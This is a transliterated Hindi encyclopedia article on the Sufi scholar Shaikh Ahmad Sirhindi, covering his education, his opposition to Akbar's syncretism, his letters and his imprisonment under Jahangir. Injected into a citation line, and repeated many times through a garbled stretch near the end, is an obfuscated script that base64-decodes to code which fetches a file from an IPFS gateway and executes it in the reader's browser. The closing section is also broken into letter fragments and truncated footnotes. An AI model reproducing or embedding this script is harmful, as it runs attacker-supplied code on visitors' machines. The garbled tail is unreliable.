शेख़ अहमद सरहिन्दी

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shekh ahamad sarahindi (janm- 1564, sarahind, patiyala; mrityu- 1624, sarahind) bharatiy adhyatmavadi aur dharmashastri, jo mugal badashah akabar ke shasan kal mean prachalit samanvayavadi dharmik pravrittiyoan ke khilaf pratikriya svaroop bharat mean roodhivadi sunni islam ko punarjivit aur sashakt banane ke lie mukhy roop se zimmedar the.

parichay

shekh ahamad ne, jo apane paitrik paksh ki or se khalifa umar pratham^[1] ke vanshaj the, pahale ghar mean aur bad mean siyalakot mean (vartaman pakistan mean) paranparik islami shiksha grahan ki thi. jab shekh ahamad poori tarah paripakv hue, tab prakhyat mugal badashah akabar ne nee samanvayavadi astha (din-e-ilahi), jisamean unake samrajy ke vibhinn sanpradayoan ke adhyatmik vishvasoan ke vividh roopoan aur dharmik kriyakalapoan ke ekikaran ka prayas tha, ke zariye apane samrajy ko sangathit karane ki koshish ki.^[2]

yogadan

1593-94 mean shekh ahamad bharat ki sabase mahattvapoorn soofi adhyatmavadi 'naqshabandiya' mean shamil ho ge. unhoanne apana jivan akabar aur unake uttaradhikari jahaangir ke 'sarveshvaravad' aur islam ki shiya shakha ke prati jhukav ke khilaf upadesh dete hue bitaya. unaki kee rachanaoan mean sabase prakhyat 'maktoobat', bharat aur aauksas nadi ke uttar mean apane mitroan ko farasi bhasha mean likhe ge patroan ka sangrah hai. in patroan ke madhyam se islami chiantan mean shekh ahamad ke yogadan ka pata chalata hai. unhoanne ati ekeshvaravadi sthiti 'vahadat-ul-vajood'^[3] ka virodh karate hue 'vahadat ash-shahood'^[4] ke vichar ka pratipadan kiya. is mat ke anusar sirph ekata ka vishayanishth anubhav hi astitv mean hai, jo keval vishvas karane vale ke mastishk mean paida hota hai; vastavik vishv mean isake samakaksh kuchh bhi nahian hai.

upadhi

shekh ahamad sarahindi ke matanusar, pahala mat 'sarveshvaravadi' hai, jo islam ki sunni paranpara ke siddhaant ke viruddh hai. unhean maranoparaant di gee upadhi 'mujahid-e-alf-e-sani'^[5] se bharat mean islami roodhivad ke vikas mean unake mahatv ka pata chalata hai. isase muslim kaileandar ke anusar doosari sahasrabdi ke aranbh mean unake hone ke tathy ka bhi sandarbh milata hai.^[2]

nidhan

sarakari halaqoan mean unake upadesh bahut lokapriy nahian the. unake dvara shiya vicharoan ke akramak virodh se naraz hokar badashah jahaangir ne unhean 1619 ee. mean kuchh samay ke lie gvaliyar ke qile mean band karava diya tha. shekh ahamad sarahindi ka nidhan 1624 ee. mean sarahind mean hua. sarahind mean sthit shekh ahamad ka maqabara ab bhi ek tirth sthal hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ islam ke doosare khalifa
↑ ^2.0 ^2.1 bharat jnanakosh, khand-5 |lekhak: iandu ramachandani |prakashak: eansaiklopidiya britainika praivet limited, nee dilli aur p aaupyular prakashan, mumbee |sankalan: bharatakosh pustakalay |prishth sankhya: 308 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ eeshvar, sansar tatha manushy ki daiviy astitvatmak ekata ka siddhaant
↑ drishti ki ekata ka siddhaant
↑ doosari sahasrabdi ke sudharak

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] slam ke doosare khalifa

[aa-2] 2.0 ^2.1 bharat jnanakosh, khand-5 |lekhak: iandu ramachandani |prakashak: eansaiklopidiya britainika praivet limited, nee dilli aur p aaupyular prakashan, mumbee |sankalan: bharatakosh pustakalay |prishth sankhya: 308 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[3] shvar, sansar tatha manushy ki daiviy astitvatmak ekata ka siddhaant

[4] rishti ki ekata ka siddhaant

[5] sari sahasrabdi ke sudharak

[1]

[2]

[3]

[4]

[5]